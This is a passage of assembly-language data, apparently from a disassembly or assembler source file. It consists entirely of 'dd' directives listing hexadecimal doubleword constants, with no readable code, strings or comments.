8CC077ECh, 4540CBC1h, 649900B0h, 60BB62Eh dd 821DC7E0h, 0A181BEB7h, 57B4E765h, 17B58834h, 123A243Fh dd 746C20DEh, 8803C314h, 70EC1225h, 28F3F954h, 3BFD6070h dd 0E500513Ch, 3310A987h, 0C874319Fh, 0AC19F1C0h, 9464A853h dd 702101C0h, 941D8DE1h, 28BB9371h, 0C9810B3h, 0B75DA504h dd 4C94B28h, 1857DC60h, 3953A79Bh, 0C4196179h, 64B1B605h dd 0A876A031h, 8381545Ch, 25846589h, 0B5C3D024h, 858D6200h dd 9D54247Fh, 4A6571F9h, 0A3184002h, 0DE090E35h, 71547C0Fh dd 33D583A9h, 2ACBF02Ch, 8B36099Bh, 7F0A3492h, 0C2196280h dd 29C8F068h, 8434BD2Ah, 0E59ED407h, 88DB68C7h, 0D571E848h dd 4B5E9BE4h, 2A4C401Dh, 680D0834h, 1BAE8100h, 1644E2B0h dd 9A9C00EBh, 0CF5D95A9h, 0E5005C20h, 8D379825h, 1614F83Ah dd 40CAB389h, 7DDDD97Ch, 0C402EC78h, 6231DF63h, 5A0642Ch dd 96EE171Fh, 0AD488011h, 2D49AACDh, 0BC7338F0h, 2B798094h dd 63BEE64Dh, 9CD4B962h, 0C5D5C032h, 669EC0CBh, 389D353Eh dd 0D0E20008h, 7AF00290h, 0B4820E75h, 70403CC2h, 141CD8FEh dd 43258B04h, 0A4D0B987h, 0A5A1A69Fh, 1BD6808Ch, 0C72E5A4Ah dd 0F2B0B01h, 0D54B330Eh, 703470h, 78F0A355h, 0EA02255Ah dd 6702A09Ah, 0AD7B9A81h, 76044840h, 0ED0E017Dh, 0FE3A9D0h dd 0EA42D93h, 257ADEE8h, 0FCC1D48Fh, 42056EAh, 4510021h dd 856831D8h, 0A660DE89h, 0D42EDB56h, 8FCA1C6Fh, 610CA629h dd 0F46E8ABCh, 4D092D19h, 0B887932Bh, 505EE2C4h, 5F0DD57h dd 0A7C85539h, 2B59C0F7h, 0B02625B1h, 8F087085h, 0AC06B78Ah dd 5116AF11h, 340038A3h, 49A80B1Ch, 97BD000Ch, 0A4632B8Eh dd 0A500FCEAh, 5C853B67h, 4976B3DCh, 0B1B48C86h, 31E4006Ch dd 67009719h, 2CBBC69h, 0F0F5E4h, 45911763h, 0F9391332h dd 3CE668C0h, 13A7FDAh, 0FF4875E7h, 0E4224041h, 5948AA0Fh dd 0F3650F60h, 2B16A02Fh, 901C7B32h, 794C7838h, 0AE051EC4h dd 0D5C09C7h, 0E70A50C8h, 0E1FCB054h, 0C471DB00h, 13468C03h dd 271C9CF6h, 0B407240Bh, 24013176h, 0EC9CAAE6h, 0F92EB100h dd 0A0D55C0Dh, 20B0D229h, 0BA2B8F2Ch, 0B595BF00h, 0A43118BDh dd 47540729h, 0CF689B82h, 0C69A3B21h, 96D443F8h, 200EC2F9h dd 66053AC4h, 0C9AB6187h, 2FF8900h, 4E12E55Bh, 92C043Bh dd 4894E02Dh, 13015803h, 0A081BBA4h, 1CD2B9EFh, 0CA412D3Eh dd 0E46553h, 8CAE47D5h, 5818F6D6h, 91E06F19h, 41A000F3h dd 8EC8DFD9h, 3800522Fh, 0FDD22372h, 50543D55h, 490EBh dd 0E99FE6F9h, 79926DCDh, 9420AD41h, 25080015h, 1E27A377h dd 7F04D95Fh, 8A8610A6h, 2E0954C8h, 12ACB653h, 96B8908Eh dd 36B09534h, 0E2EECC12h, 0A51AA440h, 6F54C2C5h, 0F0C39852h dd 0B6918049h, 0E9BBF97Fh, 6343F4F9h, 4A02ACB8h, 0BA2F594Bh dd 0D95813B2h, 458AE048h, 59CD000Ah, 5AA6DA55h, 1600221Fh dd 7AC7D20Bh, 962926BBh, 2EB868A0h, 0B894A2E8h, 50A301E8h dd 0AAFB1C72h, 0DE7450D1h, 340F13BBh, 604B921Eh, 53BC8E93h dd 657A00EDh, 62191B7Eh, 0FE609B9Ah, 56D933A6h, 116D0FC4h dd 0C62301D4h, 6AF8E8E4h, 0B9E6ABBDh, 3EBCF600h dd 0CC204D14h, 734B7EB0h, 0D344043Bh, 0C033E461h, 0FA03817Fh dd 8857BD24h, 1E739000h, 6FE363h, 3D46FD23h, 0D4D2A939h dd 0B512247Ch, 0EC00FCBCh, 13C60DD6h, 6C24FB95h, 6F809D3h dd 0D40359BAh, 0B38752DBh, 4BD89DB3h, 0C5004629h, 3092C2BEh dd 242FCAD3h, 12348CAFh, 987C0E2Ah, 4CF2CBA0h, 0D0A8528h dd 9CEE0C29h, 90103A01h, 0AC3843D0h, 4AF12501h, 0DCDBB149h dd 1602CFC0h, 0A819CAE6h, 0A6D06782h, 3878005Ch, 0F4FF1D88h dd 0B959B537h, 8243FE31h, 0A85FCCh, 3FCE0594h, 0B5842D89h dd 42055590h, 0DA660E21h, 0CC2C38A1h, 9F2A4800h, 0A7390D68h dd 90FD6727h, 55582B0h, 0BEBAD935h, 0D47CD005h, 44185C7Dh dd 7F99B5B9h, 0C72F04C1h, 97187E39h, 0BD7A0178h, 236C248Dh dd 1D986F00h, 3E781638h, 6575245Ch, 0AB2B00F8h, 0AF4DF2A9h dd 2E9DD904h, 8C80F6AAh, 0A0AE45C0h, 5CAC54h, 0FFA5D5B5h dd 8A1AE920h, 97048470h, 52AB46C7h, 7FB01380h, 0F2193099h dd 0C7940179h, 49305091h, 0B5BDADh, 0F459D8E4h, 885781E7h dd 5CD29502h, 5ACBA91Fh, 0F24122Ch, 0AF9CC0D1h, 7C00B112h dd 3C42E763h, 0A183551Eh, 1062A9ACh, 167BE40Eh, 0FFD9BAC2h dd 8983F0D9h, 4C6C62A2h, 0A8020C31h, 8FB674CBh, 0B6984052h dd 8E925000h, 0C14B2F07h, 40FC001Fh, 6004E044h, 510FDD30h dd 817AD294h, 0A61FEE2h, 147D074h, 9038E59Ch, 0CEC25827h dd 7125FC48h, 0D133F430h, 29B144B2h, 0E0B0E504h, 0A5B09096h dd 18438700h, 0B5400961h, 8F10357h, 681BD4B8h, 34D05DDAh dd 747D3415h, 522213B4h, 0CDF38CD0h, 0AC9212BCh, 11744F27h dd 0E9AAE580h, 4CE3D65Dh, 0D01C42C8h, 0B8242217h, 0AA409027h dd 0C3BCA89Dh, 18E5040Eh, 0C3A93FFEh, 0B3A5E0DCh, 0C480644h dd 1611FB35h, 0D38E4733h, 5BE0B524h, 2D2A6D9Ah, 9904C88Ah dd 0AC4F8066h, 95400480h, 0A7CB2A30h, 2C514CC8h, 9B78C500h dd 3AAA42A2h, 0BC93960h, 28975C9Eh, 0B48F91h, 7C2B4796h dd 37EBD44h, 28781434h, 45C20AC0h, 0B2AE2F83h, 0F3551001h dd 40F0FDC0h, 0CA53B198h, 3188BB00h, 76CB14EEh, 3CF707EDh dd 0C1954F83h, 715EE617h, 0B9918220h, 5A7B9F59h, 18289090h dd 1CAD3D1Ch, 6F00E098h, 0EC79DAC2h, 9480A833h, 392058Ch dd 7DF40006h, 1239949Eh, 0FAAA2F1Eh, 4C13D60Fh, 0C628B2h dd 0C48786E5h, 53BFF3A1h, 8C9AA00h, 0FE2E0ACFh, 6A3800C5h dd 4D12C033h, 2700E725h, 0CB99C21Ch, 4E86EDh, 0B5B874E2h dd 0BD1A8E7Eh, 0F8C4E01Ch, 4A7197C3h, 0B04EB5BFh, 93CF65E2h dd 8638C105h, 0E7DD9040h, 0B6213491h, 0E6500104h, 74011EB4h dd 42045A44h, 916C4329h, 6C8FA082h, 8DF806A4h, 108314F6h dd 0AE07440Fh, 0E13F031Dh, 9F601C81h, 573980C9h, 8F662212h dd 79975D03h, 814EE4D0h, 0D8DC2193h, 30A86164h, 207894FDh dd 0B2F270B4h, 506AAA24h, 79E9B880h, 0C046434Bh, 0B740FE81h dd 9778EB95h, 0BB052300h, 7F8A4F79h, 58A8B019h, 6400488Fh dd 53E5C85Bh, 6C3FE99Dh, 5C0C3A30h, 0C9FF3D3Fh, 92540A50h dd 0F1607085h, 0F2E8C8h, 48208DDBh, 5B18D406h, 4C38B100h dd 5C2E0CECh, 4AFC7CE9h, 0E23C0094h, 83FDAAC7h, 0C464B604h dd 0FCC09524h, 1576E46h, 517727EFh, 2D834F6Ah, 1B4B0230h dd 8048A6A0h, 0F05188F3h, 0EC48B828h, 0AC214C2Dh, 8A5AA580h dd 0F312C9CDh, 0B854EBFBh, 80063950h, 6A76B44Ch, 2C226Ch dd 923D9013h, 54776997h, 0D623A016h, 90E48834h, 0CE8409C4h dd 901DA22h, 3CAC49FFh, 168F393Ch, 7441E235h, 77887E41h dd 9371A1FCh, 60902714h, 6C002B8Eh, 380F57DDh, 7C41847h dd 41440367h, 96FD0273h, 0B1A1880h, 0E20787CCh, 4E3C460Ch dd 8928AE92h, 4CACC6DCh, 0FADBAC57h, 0ED49E7E0h, 852D609h dd 0F240A0A0h, 0A81D6B63h, 0FC0222ACh, 4D7700Fh, 0B9E12306h dd 28B684h, 0D5075542h, 1C0E675h, 63D27EF6h, 602714DCh dd 995480C4h, 9F486984h, 3D9800A9h, 0FAB68271h, 6A440012h dd 0FE2A7D02h, 56739D77h, 1D05C13Fh, 15C60759h, 1C40A56Dh dd 0C14E2EECh, 0E90801Eh, 688FEDA0h, 0E0398F6Ch, 0FE11955Ah dd 5D3D00F9h, 3C0CEDE1h, 51076CB6h, 0E87EB32Ch, 8C80FDC4h dd 0E2D0D88Eh, 3D68019Ah, 83994463h, 80303815h, 3626F464h dd 654E643h, 0C20304F1h, 0C400414Ah, 5C90F90Bh, 285CD11h dd 17E71D87h, 7CE78F58h, 731FC502h, 0A451ACh, 0DFAD2013h dd 10038A85h, 4487FBDCh, 94201DAFh, 0EECF9E68h, 0EB4101E4h dd 2E1AB338h, 392E4800h, 3CF30F6Ah, 0C9016FCFh, 0B7A52767h dd 5C6822F7h, 6AE18010h, 0BCADDD36h, 0A7A68090h, 1F5E7ADBh dd 0F5650502h, 48471ABBh, 492EE410h, 9E01E8BDh, 0D45C0645h dd 0B8F6100Eh, 1C90A7h, 9DB15E1h, 67E36C9Ah, 0E0DEF4A8h dd 98921490h, 9B00BCBAh, 0A9358893h, 0EC82C0DCh, 37632D69h dd 77173C01h, 85A07BB2h, 0E2709Dh, 8DA6610Eh, 34AC8D4h dd 0CAAF4100h, 0A2E7D4Fh, 3EDD00A1h, 87A936Ah, 1E00B0DEh dd 0CC748886h, 60015Dh, 0B4EE25C6h, 5A3CD2D8h, 0B51D9700h dd 99401927h, 74670365h, 7EDB8129h, 387780D4h, 0DD01A0F4h dd 0CB24EBD4h, 4082EDB9h, 0CDFE279Eh, 3F83C0D7h, 6B5F01DAh dd 728E73DCh, 0B2E2CC40h, 0B49D161Eh, 0ED3595C0h, 0B76213B3h dd 541F0EC0h, 0E6098E03h, 0C9A9D42Ah, 0ECD09F6Ch, 0D1CD0061h dd 0D6EEDDD0h, 0EF149DC8h, 3C90DEh, 5C5D1806h, 3517FEAh dd 4A1033C8h, 90B1FFE0h, 80CFC819h, 288C7D32h, 80788953h dd 0B97CED8Ch, 0E26200D6h, 390CB3A1h, 9CA89F98h, 0F700BFABh dd 0A9B83628h, 0AFD09Bh, 29786574h, 12750651h, 8DB49600h dd 7AA46C09h, 0F1F260h, 0D5ABCFB3h, 0E60D06E5h, 9F00BD76h dd 0E87DF818h, 0A47B5C4Dh, 7C5F0054h, 0A52BAF37h, 0B0E3FA4h dd 60B94DB0h, 8B13FE94h, 3BE2005Dh, 0C6467744h, 0B500247Ch dd 50C0390Bh, 5123BEh, 106D9B67h, 3B82706h, 159F4A18h dd 0EC5B3F1h, 3D2DBD60h, 44D3E438h, 8FF4E838h, 0CF3161CAh dd 3F5E4056h, 29B2BF3Bh, 80B0EB45h, 636D2934h, 0F9007812h dd 0EAB36850h, 3D87A493h, 28008BEEh, 33715C6Ch, 1300D84Fh dd 0BBD6B72h, 0AA891D2h, 4C7DE6A2h, 9C8406F0h, 948861B4h dd 383A0D27h, 0E8F180D2h, 0AC43A68Bh, 6994029Ah, 7FB4495Dh dd 0DB08BD60h, 20C20D2Eh, 0D4894300h, 713471Ch, 0A9DFE28h dd 22107042h, 0F907F5E1h, 7BDA1B97h, 0D480A445h, 4C3B071Fh dd 6107A192h, 79B09B28h, 0A043618Eh, 0E838681Bh, 0A84D3096h dd 30C8EDF1h, 6F18B2CCh, 3D1F4416h, 0E0B00760h, 1D24C6h dd 1B3AE25Ah, 410C21FFh, 97E88954h, 37103C01h, 0A1D27867h dd 1BDD4C8h, 0C9432EB0h, 7B2793B6h, 0AB7A1AB0h, 0B04D8B84h dd 0E2A3D40h, 92271576h, 34A8E080h, 830090FEh, 0E5899E8Eh dd 0F1302A28h, 0B7BEA080h, 0D4B203D1h, 0FC753702h, 0E04BE9F2h dd 0C49DBBFDh, 0C23495E1h, 8E0403Bh, 5E12ED99h, 7C40C274h dd 10B31AD2h, 0F6B12FEh, 0D018004Eh, 7A97E384h, 0D4AA1E00h dd 0FB99C52Eh, 0D62A3A74h, 0E8F254F6h, 0EC1512F7h, 902C4079h dd 0DB7EEEFFh, 0B9280804h, 7480C910h, 0FAC4E8h, 99FCEB05h dd 0AA7DA282h, 0FB7C6900h, 0B7E01F4Eh, 408B3862h, 6595A080h dd 0F62AA5F0h, 10EB48h, 0E783C654h, 4C44BFD3h, 0C1334C68h dd 7FBBADC1h, 307D1AD9h dd 4058BB8h, 6C539E9h, 1FEAAC0h, 8C9A4Dh, 3CF8157Ch, 9AEC40A7h dd 1583048h, 0BE6A6F14h, 8BE8C70Ch, 782501F0h, 673B161Ah dd 0A6E0F8F2h, 0CD854900h, 230D2CC8h, 2612FC7Eh, 58603116h dd 5A00FCC0h, 3EC1A8D5h, 0D0DE7Ch, 75559FB7h, 0FF8ECC43h dd 2236C38h, 784F8B18h, 89A04B2Bh, 0C9C55437h, 0B0BCBCDDh dd 6736ED01h, 34A28C7Eh, 0C07B08BCh, 8E568D13h, 0B5F5FC00h dd 7F3B46E1h, 0DDDCFB42h, 0DC929Dh, 0B3B9756Ch, 0A1A79A96h dd 4C26E124h, 0EE8B9B01h, 1ED00623h, 0EA930178h, 0B9297DFFh dd 60C850BAh, 0B7F2D7Eh, 868FC61h, 0EBEFE8DAh, 3423A04Ch dd 4449031h, 0D5A7D68Fh, 0C0E8C499h, 33119848h, 5401A49h dd 3BC8029h, 7E44888h, 2A2D31AEh, 0F7CA008Dh, 5248E559h dd 49D84260h, 0CB4A01E0h, 0C96D2E8Eh, 510AF0h, 0E52FBB9h dd 0D6E4DA3Ch, 0E61EB51Eh, 0D4CCA581h, 8609033h, 9227FE4Bh dd 20470310h, 9E118B75h, 0B2289CA0h, 98C91D2Ch, 99868B6h dd 0A022E5DAh, 8D06BF80h, 34904AEDh, 49C93Ch, 0DA4DB6E6h dd 799CF2h, 0CF32426Ch, 815D2AF6h, 0E79858E1h, 0A006DFAh dd 0F45F8C9h, 7BB0Eh, 70085BD1h, 50B6CA3h, 0CA4C447Ah dd 0E5D907AAh, 0AC30EA1Bh, 2A7FD7E1h, 84C801h, 12168C29h dd 69E7642Fh, 0B460F0A2h, 0D800E64Ah, 0FDA417EFh, 3945D1h dd 161F0FF2h, 376F4B47h, 0FB68DE01h, 3830AE2Ch, 9EAD024h dd 0C7A25901h, 0D35285h, 8D94C490h, 0A60049CBh, 0EBC821Ah dd 9D8B59h, 0F3725C6Bh, 3FFAA40Ch, 0C1F4284Ch, 5B354283h dd 123F6E0h, 7855DB49h, 0D4D91B59h, 2C007602h, 706E0E71h dd 0F6E04231h, 129CB088h, 29E3851Ah, 14143130h, 317C00B8h dd 0D4572C1Ch, 13CF5340h, 44F39907h, 88B8E43Ch, 90004354h dd 3B6EDBFEh, 35F3D3h, 0D1F914C4h, 0F7A312EBh, 169D50B3h dd 0E9D6441h, 7273C9h, 2890A500h, 72F1B54Ah, 83096F09h dd 578CA0F5h, 3A75AFh, 15DE9063h, 80A612F6h, 0A7DC0800h dd 579368C9h, 8174C50h, 44825848h, 0BC873E8Ch, 245AB15Ch dd 38820AAh, 73DB201Fh, 9416AC47h, 0A5FE5F11h, 2EEDE470h dd 0A8E0603Ch, 0A09258D4h, 3FACC703h, 86A84CBCh, 4004B82h dd 3D5D4503h, 0C35E72h, 5B672D1Eh, 826612E2h, 9DEF0801h dd 0B29B1356h, 64629AF9h, 0EDF13C14h, 0A6DF7002h, 60E0CE4Ah dd 0D400FDCBh, 0E7BA6552h, 72B2B588h, 5D497C54h, 28796C7Bh dd 324ACDAh, 73F744BDh, 75C9C699h, 0DB9D0004h, 0AC503CCBh dd 4A38B292h, 80842AE4h, 27B7540Bh, 0A818775Dh, 0F7190E9Ah dd 0A4F91770h, 5834012Bh, 0F9939C99h, 1CDC35B5h, 609A6888h dd 323B6901h, 0F73E4186h, 85005472h, 891633E6h, 757312B7h dd 4EC12B00h, 0BEF5A110h, 1A91281h, 780905Eh, 5C014818h dd 5F572D75h, 49C208F8h, 10323CFCh, 5EEB3D1Dh, 0A8688018h dd 4A0CA3F3h, 0C9F88E3Eh, 311D0420h, 0C8A150B7h, 30072432h dd 32872089h, 7CE52C96h, 0DF02142Ah, 0E6919AE8h, 3488A0F5h dd 2194E8Ch, 0FD1C6BCDh, 0BCC02B4Fh, 7F005E28h, 7756291Eh dd 0D908FA5h, 45C34A7Eh, 7C241C79h, 3F026B18h, 4851310h dd 7AC0A445h, 0ACBC90CEh, 310095E2h, 0E0A194C5h, 3BC61EEDh dd 0C7842912h, 938E04AEh, 46C1E45Ch, 8B1C34ACh, 0C1215F07h dd 0A0898DE3h, 315AE30h, 9D5912C8h, 0A51870EDh, 3C0BB175h dd 2C76107h, 808F5C8Ch, 0F49D49B0h, 0AC9501ABh, 0D17EEDEEh dd 0B9E850A8h, 710C7D87h, 89255715h, 685E1C4Eh, 3896D31Ah dd 59146008h, 1DC0E3Ah, 0D0ADE8D7h, 7828E7C6h, 7C4C8F03h dd 4880FDC8h, 6E39949Ah, 2A4F807Eh, 0E1CDCCB0h, 1E2CAD99h dd 0E7A90678h, 0B9F691A0h, 0DC645A05h, 60137240h, 0DE638800h dd 14F7437h, 33BD12A3h, 30262A6Eh, 7E0A027Ah, 0A8310A71h dd 8A3F2E84h, 688320A1h, 6351E3F2h, 57DFB1F0h, 6F5E2314h dd 0CDC9B084h, 24095276h, 8877D400h, 53AAFAB9h, 0AE64E405h dd 0C4003C4Bh, 8CCCE267h, 0C8C5001Fh, 0E69FC668h, 0CF7DCA4Eh dd 256D5D1Ch, 77D280FAh, 0FD32F36Bh, 8C0E586Eh, 9AE360Fh dd 0F78358C7h, 0D005398Ah, 2288BA1h, 86CC15C2h, 730C4055h dd 0F068052Bh, 0CCEE3714h, 20007D18h, 9E280E98h, 0B92DEFE3h dd 0A32A024Ch, 2C48E095h, 8600A6BFh, 0F128AC20h, 15CAFEBh dd 9F4B1C43h, 0D5D7AA10h, 4F5474B9h, 3C3E0426h, 0E5A1358Eh dd 0C18E239h, 8BD2B1h, 5DD897BBh, 0DCAAF8E8h, 8B7D302h dd 71B62118h, 60482680h, 6A2A10DFh, 6EA57606h, 78F8AF5Ah dd 154FEAACh, 0CC7EFDC3h, 0A0DF24h, 7328136Ch, 0ECB88A79h dd 0D6ECE200h, 39A0BA30h, 0A440BBC8h, 6E930330h, 56E8D00Bh dd 3A16307Dh, 0D8000272h, 0C67591D2h, 6FE0355h, 80504DC4h dd 0EAE9C800h, 636214FCh, 0FF880027h, 258D261Dh, 721ACA9Dh dd 0C0601E2Bh, 79C1AC17h, 88185809h, 0D9FB7500h, 381BA770h dd 37DA5E15h, 3B5D3A78h, 6BFD82B5h, 6B320519h, 1CD01E40h dd 0A471C020h, 3A65A79Ah, 2AC35A00h, 54DC047Ah, 9B1E2653h dd 2E1D8210h, 0B8E331F5h, 76E027A0h, 0CD25D739h, 0E137000Ch dd 0D24FEE57h, 608F4C5Bh, 520F1CB8h, 0A796C473h, 0DF45D4E3h dd 2476D491h, 0B2809022h, 72690EFh, 5C008894h, 9979D877h dd 8330128Fh, 2EE08C27h, 4E69651Eh, 0D7376C40h, 67691A6h dd 0CA85F2FCh, 0EA099919h, 40AAAFA1h, 9109970h, 0DF9373EDh dd 8092A466h, 602874A1h, 0B00594Ch, 55ED6975h, 6112279Fh dd 0FA6A516Bh, 6927FB4Eh, 0ABE0B05Dh, 996224C3h, 0AAC681B0h dd 0F85E0BF5h, 6100D490h, 0A4226E05h, 245D7B18h, 26CC92C3h dd 0D13D0030h, 0C00BDC90h, 3244448h, 0E8AE1BDAh, 0F23C9881h dd 49431B41h, 10C0C89Ch, 39CF2862h, 2BEDE0A4h, 0E8FFB96Ah dd 0F5680039h, 0A9ADC373h, 0DA0049C8h, 5142E57Ah, 60FBB654h dd 0C53A0D5h, 0B4185526h, 0BEE1127Eh, 83FD1646h, 8C801040h dd 0DF2676C0h, 0FA2CC869h, 4989A447h, 0CF48C017h, 9BBD07E0h dd 32897F5Dh, 0CCC4322Ch, 0EE40E894h, 7C42D136h, 41C100E6h dd 4B8310CFh, 0B07E0E17h, 2CB05C92h, 0A0247458h, 0C8077B0h dd 0A9297914h, 8B0107C2h, 0A2D82BC4h, 406028DCh, 1460FDE2h dd 0EBF07Ch, 7458B477h, 7F0FC2B7h, 0F6390B05h, 0C83DB5Dh dd 696BA8A8h, 0A67609A9h, 42004BDh, 0E79D3DD0h, 0E9A36E30h dd 0EB1ABh, 47E3037h, 4245589Ah, 0E69CEB00h, 2A93A753h dd 0B12D3DF6h, 0E0C70BFFh, 149CD5F9h, 7CDA1018h, 7EE7A188h dd 0CFDF02E4h, 0DDBC84E9h, 0A55A7040h, 0DE79046Eh, 2207C209h dd 7D31EF78h, 3D413A82h, 58E0C843h, 80B2C426h, 5C875200h dd 0FDAB1FF0h, 8918BBFBh, 0E0ECF98Dh, 0B36C6615h, 3A7C0CB0h dd 3B208Bh, 0EBF886CFh, 96B7BD7Eh, 2E2A3400h, 9842FCB5h dd 9FA5004Dh, 3A2B0403h, 0D8994190h, 0A1417821h, 0F8C93346h dd 47376980h, 594FAE5Ah, 38EE2402h, 60F03CCBh, 4D5D5678h dd 404C80A2h, 40A69012h, 3C4B4A4h, 0CC00CAB0h, 0EC3C45E8h dd 7BA191h, 2E325146h, 0B4E5FC49h, 970DAD00h, 88114CFBh dd 0B2CE0EE6h, 0E2A03B15h, 0EFA9DDCDh, 814DA200h, 0AB29697Ah dd 95CF0721h, 1044D9B5h, 5C67EB15h, 0BFFF4200h, 0EA5E6130h dd 0A380007Fh, 7E947617h, 0BD789F20h, 0CC0793F6h, 849BEC26h dd 0DEBFE210h, 8DE406h, 7D287B41h, 73870A6Eh, 0B160671Dh dd 50081ECCh dd 835C0009h, 5EB746ABh, 0B80019BCh, 27B67DB9h, 0B0DAE8h dd 1AA4789Dh, 0BF697707h, 25031E71h, 2AC43B68h, 0A17861CDh dd 0DCCCF334h, 8D1893A1h, 0C27086ABh, 0A9B43E56h, 39923A85h dd 70C0EF43h, 2A53FFh, 4ECA5907h, 3CB9E194h, 6BF95A00h dd 0E5065117h, 99A1036Dh, 0CA86C521h, 0A30110AEh, 0DBAFBE0Fh dd 5CCC8B7Fh, 1F8200BCh, 4B389347h, 0ACE0A2E8h, 633CC00h dd 6ED84A0Ah, 803C075Fh, 0EC3E0FBAh, 240092ACh, 33F9DC76h dd 6E631F3h, 7210E0B4h, 0EC0091DDh, 0C1B0EB6Dh, 297E269h dd 6CAE29CEh, 0D7E0E7F1h, 4100DC10h, 0BB699431h, 181DB3E2h dd 0F8882A0Eh, 4800D240h, 3BD687AAh, 0F01CCABh, 0EA0A1D34h dd 71AC7007h, 0D5B45D4Ch, 0A96F6017h, 0DE784B60h, 0C1450518h dd 29D12D49h, 8099E1EAh, 0EE6DA821h, 78249Bh, 0E4D3210Ah dd 0FB8DCD65h, 3453407h, 0F0CA1F7Dh, 974A4200h, 77436974h dd 2E0A3FCCh, 171CACD2h, 1FA4013h, 8A9A4E24h, 0ACE4FB01h dd 876A3AD7h, 40F86981h, 0D7DABF83h, 7930C944h, 274CB7Fh dd 0C3F8AA54h, 0D5BC4912h, 0F8A75040h, 2A804E84h, 39AC42C2h dd 5286BA40h, 29FB48AEh, 0C002A7Eh, 93B094C3h, 732263Bh dd 1C342423h, 0FAA5E14Dh, 81944B48h, 6633DF3Ch, 24122020h dd 60543AF8h, 0F4871C82h, 215EB00h, 2FBEA06Dh, 180A71C0h dd 0E0220534h, 79153ED6h, 1EA0E9A7h, 5E1C2F8Ah, 0EF970CC3h dd 0B5A299EDh, 0AA3020h, 82CAF790h, 3A43EACFh, 4AA35B03h dd 0F0EC2D96h, 1888B840h, 0E8601B3Ch, 0AF0039A9h, 1862C971h dd 92309269h, 0AD7C03CCh, 0BE54DE98h, 3CD80FBDh, 25A37FE0h dd 1C06E63Fh, 4C2CEB10h, 0F72209F1h, 7420AA14h, 0EF17BA49h dd 4AC5B100h, 6CFBEAB8h, 0BF1800F5h, 0D990B369h, 9300F454h dd 0C5D032E1h, 146DBA27h, 0AC20B292h, 0CCE214A0h, 0C215F60h dd 61C7E341h, 64F82C33h, 826EE10Dh, 0ABF9B0D0h, 41EC42E5h dd 0B440CB20h, 3C7807CCh, 0B5B00934h, 5044F4E1h, 384D4F18h dd 1874A458h, 0C0F7EDBEh, 0AE00E771h, 9EDC3E94h, 0CF17A3Fh dd 6C573C99h, 0E6000168h, 9D32E509h, 3D625497h, 0F600E77Dh dd 10DE64FDh, 0E2736104h, 44159503h, 8858AF75h, 5CA87638h dd 7D0ED3F1h, 1203BB9Eh, 4B92A2F7h, 30021045h, 48E80755h dd 0F4AD654h, 42F86FEh, 8AB948E0h, 0D1603B3Fh, 7BC25BD0h dd 0E5052ACDh, 1653054h, 0AE7A4660h, 950304B0h, 635AF944h dd 2E50C019h, 7F03079Eh, 2E351462h, 6A1F06A1h, 31D8245Fh dd 7CBF9D00h, 1C0FFAFEh, 804D4C14h, 677070h, 0E1160204h dd 61B4F005h, 0BD288905h, 90C2ED60h, 51F04044h, 0CA331F95h dd 0F05301EAh, 0F043088Ah, 0AA489093h, 7790D8E0h, 0D43356A7h dd 7F57373h, 630FE917h, 0FA84E037h, 1F00FD11h, 3B20319Fh dd 7CFF7E86h, 0A4A35310h, 19096C56h, 28205D86h, 3F280E2Ah dd 0DACD7503h, 0A84411A8h, 3C781D23h, 0C00016Eh, 9E64FBC0h dd 0C202387Eh, 1AA0E86Bh, 0E50E412Ah, 7371DC40h, 4250C948h dd 1C27CCA5h, 84BCC28Ch, 8C484010h, 5058D43Eh, 8681594h dd 0E7B603ECh, 9F119E74h, 2D9B9C0h, 220C3072h, 0D51FDF50h dd 0F165AD0Ch, 4C93087h, 0D7C28B7Ah, 77A0C841h, 0A811E404h dd 10903AAAh, 589A248h, 0F2EADB45h, 24442928h, 12072B98h dd 115F47EBh, 0A9B96410h, 84808AC8h, 913B5020h, 7C375D00h dd 0ACCB5C2Bh, 1EFF07B8h, 553C2E9Ch, 4DC00C4Fh, 69B84B28h dd 0A6C78D3Fh, 582454B1h, 8FAA3302h, 8144406Bh, 14C01EFh dd 0E64FCFC0h, 3427C483h, 206890CFh, 0AA35283Fh, 7760071Ch dd 0DB6D12C4h, 548080Ah, 82B72C99h, 846478D8h, 6DB04700h dd 6F959F67h, 0AF520089h, 460F6A1Ah, 320F883Ch, 0A9590617h dd 0B004905Dh, 8D600049h, 6AD7D878h, 944C9295h, 212877B0h dd 722C8077h, 0AF498C02h, 2D242028h, 514C40F0h, 2AE47855h dd 962EEAAh, 1F636EF9h, 0B6355820h, 7EEA5F75h, 0EE008571h dd 57AD1039h, 181DA1EBh, 0F821F7C7h, 8112AE3Ah, 4C4F55DCh dd 0B087603Dh, 72D5CDEh, 0F92F23FDh, 8C98F9F8h, 777BAE24h dd 7BB31B00h, 1EA2FF71h, 2CA100F8h, 8D7AAD2Bh, 420922EAh dd 171984Dh, 6E74D214h, 362F0834h, 119EDA8Eh, 36691600h dd 289575Bh, 4EC80331h, 0FB423D9Ch, 0E4E86AC2h, 136036C2h dd 0D58A83E1h, 60192417h, 0FD688498h, 8BBC84ACh, 0A41C7DDCh dd 3FEE08Bh, 1948C8BDh, 0FB480766h, 0A7F9175Fh, 0FF81735Bh dd 2738FDD0h, 3DAC5002h, 6B540764h, 47981810h, 82E8599Bh dd 7D162A70h, 0D841C9D5h, 0CD540348h, 3B445DEh, 2C669907h dd 2840D182h, 0A03FB0Eh, 0A115DDC6h, 0E5FAA806h, 296C991Ah dd 1C78B10Ch, 4794340Dh, 48A36BF4h, 0D7101850h, 179CF149h dd 6830CAE2h, 5CF9AEEDh, 0F602543Dh, 34BE7F3Ah, 24E0E8E2h dd 0C5EC88EDh, 0F99AC807h, 0D9C45647h, 44AEE490h, 0EA022473h dd 0A00940A4h, 9F0C812Fh, 7075E837h, 0CB8A0096h, 0FCD0CA01h dd 0C8602566h, 2AB44D18h, 0D0A74811h, 43620102h, 0E6C2AA04h dd 860DC4Ah, 0F09A81BFh, 669A4D0Ch, 0C7E503Ah, 61C87119h dd 0F553DBE8h, 1E3870h, 596BF936h, 260BB009h, 3D32A88Eh dd 0C1CD4218h, 9E0832BBh, 403ED835h, 696195AFh, 87D1B610h dd 0F648127Fh, 28C495ABh, 0D1008754h, 0D750F3DBh, 4C21C27Ah dd 7500BC1Fh, 5277C45Ch, 0EB0091C3h, 2581F57Bh, 0FC97EC01h dd 0C4954C45h, 65F0C28Ch, 8AD7E213h, 36E38440h, 0A1B0AEh dd 535E21FFh, 7F2E0B6h, 425B78C0h, 99AA70B4h, 801F1294h dd 0F530D090h, 2453E300h, 93DB2AA9h, 96810E0Dh, 0F140A8FEh dd 8C629403h, 71409D58h, 940C4B58h, 115383Ch, 40DD2B0Fh dd 54267F5Ch, 104ADE00h, 342A6C17h, 